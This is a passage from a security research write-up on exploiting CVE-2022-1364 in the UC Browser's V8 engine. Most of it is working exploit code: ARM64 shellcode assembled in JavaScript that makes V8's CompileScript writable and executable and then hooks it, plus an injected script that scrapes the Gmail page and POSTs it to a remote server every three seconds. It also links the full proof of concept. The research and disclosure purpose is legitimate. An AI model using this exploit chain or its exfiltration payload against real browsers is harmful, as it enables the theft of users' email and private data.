Now there's only a few more steps left towards concluding the exploit. First we need to `mprotect` the `CompileScript` function to rwx so that we can apply our patch. Next we set the shellcode array we just setup to executable as well so we can actually execute it.
Finally, we perform the actual `CompileScript` overwrite that performs the hook.
```js
function exploit() {
//...
{
/*
; Mprotect CompileScript function to rwx
mov x0, (v8::V8ScriptRunner::CompileScript & !0xfff)
mov x1, #0x1000 // #4096
mov x2, #0x7 // #7
mov x8, #0xe2 // #226 (mprotect)
svc #0x0
; Mprotect shellcode-array to rwx
mov x0, shellcode_start_addr
mov x1, #0x1000 // #4096
mov x2, #0x7 // #7
mov x8, #0xe2 // #226 (mprotect)
svc #0x0
ret
*/
let mprot1 = generate_mov_x0_imm(BigInt(libwebview_base + v8_V8ScriptRunner_CompileScript_offset) & ~0xfffn)
mprot1 = mprot1.concat([i_mov_x1_0x1000, i_mov_x2_0x7, i_mov_x8_0xe2, i_svc_0x0]);
let mprot2 = generate_mov_x0_imm(shellcode_start_addr & ~0xfffn)
mprot2 = mprot2.concat([i_mov_x1_0x1000, i_mov_x2_0x7, i_mov_x8_0xe2, i_svc_0x0, i_ret]);
let sc = mprot1.concat(mprot2)
big_write(0x41410000n, sc);
}
// Call the 2nd rwx stub, this stub calls the 2nd shellcode payload at 0x41410000 that sets the
// compile-function and the shellcode array to rwx
{
print("[+] Calling f2");
f2();
print("[+] Returned from f2");
}
// Overwrite libwebview to call the shellcode array
{
/*
mov x7, shellcode_start_addr
blr x7
*/
let sc = generate_mov_x7_imm(shellcode_start_addr)
sc.push(i_blr_x7);
// 0x24 offset are instructions that we overwrite for our hook. These don't interact with
// memory and are thus easiest to just execute in our shellcode after the hook
big_write(libwebview_base + v8_V8ScriptRunner_CompileScript_offset + 0x24n, sc);
print("[+] Finished patching interpreter with hook to shellcode");
}
print("[+] Interpreter Patch Exploit Complete");
}
```
So, to sum everything up. We allocate some rwx regions using wasm instances. We use these small code-segments to both allocate more rwx regions and to set the `CompileScript` function to rwx. Next we setup the shellcode that finds the js-string we want to overwrite and performs the memcpy and we conclude the exploit by patching the ScriptCompiler to invoke the hook.
Now there are only a few more small things to cover. First of all, the `generate_mov_x7_imm` functions that you may have noticed being invoked a couple of times during the shellcode. As it turns out, there are quite a few instances where we need to pass addresses and values to our shellcode. This function manually assembles a couple of arm64 instructions that are used to set up a register in our shellcode with a value of our choosing. There may have been other solutions such as writing these values to set memory locations that the shellcode can then load, but this solution worked out a lot cleaner with some memory constraints and was fun to get working.
```js
/*
Arm64 does not allow `mov reg, imm64` instrucitons, so this is instead split into 5
instructions. This would look something like this for 0x123456789abcdef0
movz x7, #0x1234, lsl #48
movk x7, #0x5678, lsl #32
movk x7, #0x9abc, lsl #16
movk x7, #0xdef0
Returns an array of 4 instructions corresponding to the above for `imm_64`
*/
function generate_mov_x7_imm(imm_64) {
let imm_1 = (imm_64 & 0xffff000000000000n) >> 48n;
let imm_2 = (imm_64 & 0x0000ffff00000000n) >> 32n;
let imm_3 = (imm_64 & 0x00000000ffff0000n) >> 16n;
let imm_4 = imm_64 & 0x000000000000ffffn;
let ins_op1 = "11010010"
let ins_op2 = "11110010"
let ins_end = "00111"
let i1 = (imm_1 & 0b111n).toString(2).padStart(3, "0") + ins_end + ((imm_1 & 0b11111111000n) >> 3n).toString(2).padStart(8, "0") + "111" + ((imm_1 & 0b1111100000000000n) >> 11n).toString(2).padStart(5, "0") + ins_op1
let i2 = (imm_2 & 0b111n).toString(2).padStart(3, "0") + ins_end + ((imm_2 & 0b11111111000n) >> 3n).toString(2).padStart(8, "0") + "110" + ((imm_2 & 0b1111100000000000n) >> 11n).toString(2).padStart(5, "0") + ins_op2
let i3 = (imm_3 & 0b111n).toString(2).padStart(3, "0") + ins_end + ((imm_3 & 0b11111111000n) >> 3n).toString(2).padStart(8, "0") + "101" + ((imm_3 & 0b1111100000000000n) >> 11n).toString(2).padStart(5, "0") + ins_op2
let i4 = (imm_4 & 0b111n).toString(2).padStart(3, "0") + ins_end + ((imm_4 & 0b11111111000n) >> 3n).toString(2).padStart(8, "0") + "100" + ((imm_4 & 0b1111100000000000n) >> 11n).toString(2).padStart(5, "0") + ins_op2
return [parseInt(i1, 2), parseInt(i2, 2), parseInt(i3, 2), parseInt(i4, 2)]
}
```
Finally lets look at the actual js_payload we inject to perform an xss exploit on Gmail. This code pretty much just traverses the Gmail DOM-Tree, aggregates the data into a json object and then sends it over to a remote server using a fetch request. This can be used to leak the data from an email inbox as shown below. The `;` are added to just overwrite bytes with valid js and to keep the js_payload the same length as the script that was previously stored there. As mentioned earlier this is required so we don't run into issues with the payload length metadata, and to avoid running into syntax errors if our overwrite eg. stops in the middle of a keyword that was there in the original js-code.
For an actual exploit you'd probably want to greatly expand on this, but I think this already demonstrates very well what can be done in the absence of Site Isolation, especially if the browser leaves V8 bugs unpatched for months to years at a time.
```js
/// Needs to manually be padded to 0x979 - 0xd bytes. This overwrites characters at the end of the
/// payload that previously existed there and would cause a crash. Use python to generate and copy
/// paste otherwise the string gets reallocated when dynamically added
/// ';' * max(0, 0x97c - 0xd - 0x34f)
let js_payload = `
function f_wrap() {
function ff_(vv_) {
if (vv_.tagName == "SCRIPT") {
return {}
}
let oo_={
id: vv_.id,
class: vv_.className,
zz_: vv_.tagName,
cc_: [],
aa_: {},
tt_: vv_.innerText
};
for (let attr of vv_.attributes || []) {
oo_.aa_[attr.name] = attr.value;
}
for (let child of vv_.children) {
oo_.cc_.push(ff_(child));
}
return oo_;
}
fetch("https://192.168.1.246:5000/api/message", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({ message: ff_(document.body) })
});
}
setInterval(f_wrap, 3000);;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
`;
```
First, the user navigates to the page containing the exploit code. At this point, the browser is instrumented for future data extraction.

At a later point in time, when the user navigates to a website of interest (such as the Gmail inbox shown here), the previously injected payload executes to extract the data and send it to an external server as shown in #3.

Extracted inbox data is received server-side.

You can find the full exploit here: https://github.com/interruptlabs/uc_browser_poc_CVE-2022-1364
Conclusion
Taking a closer look at this browser unfortunately showcased a very poor stance on security. UCWeb seems to prioritize the addition of new features while neglecting not just regular updates (where they are over a year behind the current state), but also actively chooses not to support security features such as site isolation. This makes the browser particularly vulnerable since any Google Chrome CVE from the past year can be picked up and weaponized into an exploit used to intercept emails, bank account data, or any other information contained within the browser.
Alright, that will do it for this Labs post. There were a lot of stumbles in this research project related to closed-source browser work without proper debugging setups. We hope you enjoyed seeing us struggle through some of these to arrive at this final exploit. I want to thank my coworkers at Interrupt Labs for the help they provided on this project, with special thanks to Axel "0vercl0k" Souchet for several long debugging sessions together working on various issues that came up in the writing of this exploit.